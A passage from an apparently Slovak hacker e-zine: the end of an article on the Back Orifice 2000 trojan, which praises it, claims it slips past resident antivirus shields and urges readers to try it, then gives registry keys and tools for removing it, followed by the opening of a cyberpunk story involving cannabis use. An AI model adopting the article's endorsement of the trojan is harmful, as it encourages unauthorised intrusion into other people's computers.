presne specifikovanych funkcii. jedna o vynimocny program, ktory v dnesnej dobe sice identifikuje vacsina antivirusovych skenerov ale iba pri priamom skenovani disku. pokial bezi aktivny (rezidentny) stit a utocnik aktivuje bo2k nic sa nestane, (antivirovy system sa tvari ako keby sa nic nedialo). co sa tyka chyb sposobenych bo2k na vzdialenom pocitaci, dokazal by som ich spocitat asi na prstoch dvoch ruk. jedinym problemom, na ktory som narazil bola prevadzka bo2k na ostrej verzii operacneho systemu windows 2000. nakolko ten pouziva inu hierarchiu systemovych registrov, nez na aku bol bo2k vytvoreny je to pochopitelne. v dohladnej dobe sa predpoklada uvolnenie tzv. service packu pre bo2k, ktory by mal aj tento problem vyriesit.

    na zakladne osobnych skusenosti mozem len odporucit implementaciu jednotlivych plug-in modulov do casti server. nie preto aby vzrastla jeho vysledna kapacita, ale aby bola praca ovela bezpecnejsia, rychlejsia a jednoduchsia. kazdemu odporucam vyskusat si tento nastroj na vlastnej kozi a zistit, ze aj male programy niekedy dokazu urobit velke veci. microsoft sa ma este co ucit?!

    ako sa zbavit bo2k?

    nie je asi nic jednoduchsie ako odstranit z infikovaneho pocitaca trojskeho kona. vychadzajuc z toho, ze sa jedna o jeden jediny (v horsich pripadoch o dva az tri) subor bolo by vhodne najprv nechat preskenovat pevne disky vykonnym a pravidelne aktualizovanym antivirusovym programom (spolu s rezidentnym stitom). ako jednu z variant pre komplexnu ochranu systemu mozem odporucit avp platinum alebo norman virus control. dalsou moznostou ako odstranit aktivny bo2k z pocitaca je spustenie programu regedit.exe a preskumanie nasledujucich systemovych registrov:

  • windows 9x:
    hkey_local_machine\software\micrsoft\windows\currentversion\runservices
  • windows nt:
    hkey_local_machine\software\micrsoft\windows\currentversion\run
  • windows 9x/nt:
    hkey_current_user\software\cult of the dead cow a
    hkey_local_machine\software\wyrmsoft\rattler

    ak v nich pouzivatel najde nazov suboru,ktory predtym antivirusovy system identifikoval ako virus bolo by vhodne ho odstranit. za najlepsiu formu ako zmazat zdrojovy subor bo2k z disku pocitaca povazuje vacsina pouzivatelov restart operacneho systemu v rezime ms-dos a zadanim del xyz.exe povedat nepriatelovi astalavista. potom uz len znova nastartovat system a moze sa robit nerusene a bez neziaducej kontroly dalej.

    vseobecne plati pravidlo, ze nie je vhodne spustat programy, ktore priamo nepoznam a neviem co robia. to plati hlavne pre nadsencov elektronickej posty a jej priloh. pre tych menej zrucnych existuje este jedno pohodlne riesenie. je nim program liberator schopny identifikovat pritomnost bo2k na pevnom disku pocitaca. za pomoci neho je mozne infikovany pocitac ocistit a vymazat aj zdrojovy subor, z ktoreho sa bo2k server spustal pri kazdom starte pocitaca.

    plna verzia programu liberator sa da stiahnut na adrese: http://www.datacomm.ch/roe/download/liberator.html

    zaver

    pocitacovy odbornici vidia v bo2k hrozbu. aj napriek snahe legalizovat tento softver sa skupina cdc stretla s obrovskou kritikou hlavne zo strany antivirovych spolocnosti a microsoftu. autori back orifice 2000 reagovali na tuto vlnu nevole ziadostou na vsetky firmy zaoberajuce sa problematikou pocitacovych virusov o zaradenie programu sms (od microsoftu) do zoznamu virusov, nakolko aj on pouziva rovnaku techniku na utajenie svojho behu ako back orifice 2000. ako to uz byva v realnom svete microsoft zatiahol za svoje nitky a ziadosti nikto nevyhovel.

    v najblizsej buducnosti by sa mala objavit na internete nova verzia bo a podla slov a vyjadreni predstavitelov cdc by mala pracovat aj v operacnom prostredi systemu microsoft windows 2000 a linux (s podpornymi modulmi aj v unix).

    pouzivanie back orifice 2000 na ine ako sukromne, neziskove a testovacie ucely je podla pravidiel skupiny cdc zakazane, zatial co zakon definuje jeho pouzivanie bez rozdielu na druh cinnosti ako trestne.

    od akychkolvek skod sposobenych prevadzkou tejto aplikacie v lan alebo wan sa autor tohto textu vopred distancuje.

    viac informacii o pocitacovych virusoch ale aj antivirusovych systemoch/programoch najdete na http://www.home.sk/www/mlk

    mlk, mlk(at)centrum.cz

    navrat na obsah
    co ty na to ? board


    kybersaman [prva cast]

    bonnard bol mlady, inteligentny, ako by nasa spolocnost povedala -- intelektual. on sa za intelektuala nepovazoval. jedno su vedomosti a druhe je vnutorna mudrost. bonnard prave zacal skumat nieco, co nikto pred nim podrobne neskumal. zo suflika vybral starostlivo ukrytu krabicku so zelenymi rastlinkami. z vrecka vybral javsky tabak a papieriky. za chvilu mal hotoveho pomerne hrubeho jointa. vonku bola zima. fukal odporny chladivy vietor. vo vetre sa ako castice urychlovaca strielajuce na svoj terc valili snehove vlocky a hladali si dalsiu obet -- nevinneho chodca, ktory sa sustredil na to, aby sa neposmykol na zladovatelej zemi. bonnard vlozil svoje dielo do ust a skrtol zapalkou. pomaly sa nadychol a vydychoval nosom. tu travovo-tabakovu zmes fajcil ako cigaretu, pretoze vedel, ze jeho shiva skunk je velmi silna kava. ale to presne potreboval. vykurit sa.

    bol to prave on, ktory bol z tej vrstvy ludi, ktori si uz mohli dovolit natiahnut domov pevnu linku. fiberoptika, ktora bola schopna prenasat udaje rychlostou svetla. teda skoro. ako joint pomaly vyhasinal, chystal sa na tu najblaznivejsiu jazdu okolo sveta -- vo vnutri optickeho kabla. vo vnutri svojej mysle. jeho terminal sa okamzite zmenil na hviezdnu branu -- branu do slobodneho sveta spojenych mysli ludskych.

    kontaminacia jeho mysle kofeinom z kavy, ktoru popijal a tetrahydrokanabiolom sposobila, ze jeho neurony sa okamzite a jednoducho napojili na siet. siet, v ktorej bolo niekolkomiliardkrat tolko neuronov, ako mal vo svojom mozgu -- boli vytvorene myslami roznych ludi, pripojenych k sieti. citali si postu, pracovali, hackovali, tvorili, nicili, flirtovali, sulozili, nadavali si, vrazdili sa... proste zili... jeho mozog mal vsak v tejto sieti dobrodruzno-poznavaciu ulohu. bonnard sa rozhodol, ze pochopi svet. stal sa z neho pozorovatel. rozhodol sa zazit najvacsie psychedelicko-multimedialne dobrodruzstvo, ake sa zazit dalo. vsetko sa stalo abstraktnym. slova sa rozlozili na vlny. vlny na kvantove castice. kvantove castice na bity. tma a svetlo sa doplnali a vytvarali podstatu sveta. takto pochopil vsetko, lebo videl svetlo pravdy. krasne obrazce nul a jednotiek vysvetlovali bozsku podstatu sveta. boh sa zjavil v kode dna. dna je dedicna informacia, stvoritel zivota. ziadny chlapik sediaci v nebicku! prapodstatou zivota je deoxyribonukleova kyselina. videl mnozstvo reinkarnovanych ludi. ludia sa reinkarnovali v bitoch. pribuzna geneticka informacia tvorila reinkarnaciu. ake jednoduche! a videl princip duality. viacerych pravd. kazdy videl svet inaksie a to vytvaralo jeho jedinecnost. vraj halucinacie! vraj psychoza! co moze byt skutocnejsie a mat realnejsie dopady na svet ako produkt ludskej mysle?

    bonnard sa stane samanom. kybernetickym samanom. spoznava zivot. komunikuje s mrtvymi! citi pritomnost svojich predkov. v ich myslienkach. duchovia jeho predkov s nim hovorili. ich fingerprint sa nachadzal na sieti, rovnako ako posolstvo celeho ludstva. v pavucine informacii. tak takto to samani robili. telepatia sluzila na zosietovanie! dokonca aj jeho meno bolo v tejto sieti informacii take jednoduche: 1000010100111110011101001110100000110100101000100

    a zrazu... bity sa zmenili na kvantove castice. kvantove castice sa zosyntetizovali do harmonickeho systemu vln. chaos spojil vlny do slov. a v chaose slov, vo vlnach pravdy, v casticiach pritazlivosti a v bitoch slobody .... vydychol. zjavila sa pred nim obrazovka. vietor urychloval snehove vlocky do terca. you have new mail!

    (dokoncenie nabuduce)

    nicotine, nicotine(at)hysteria.sk

    navrat na obsah
    co ty na to ? board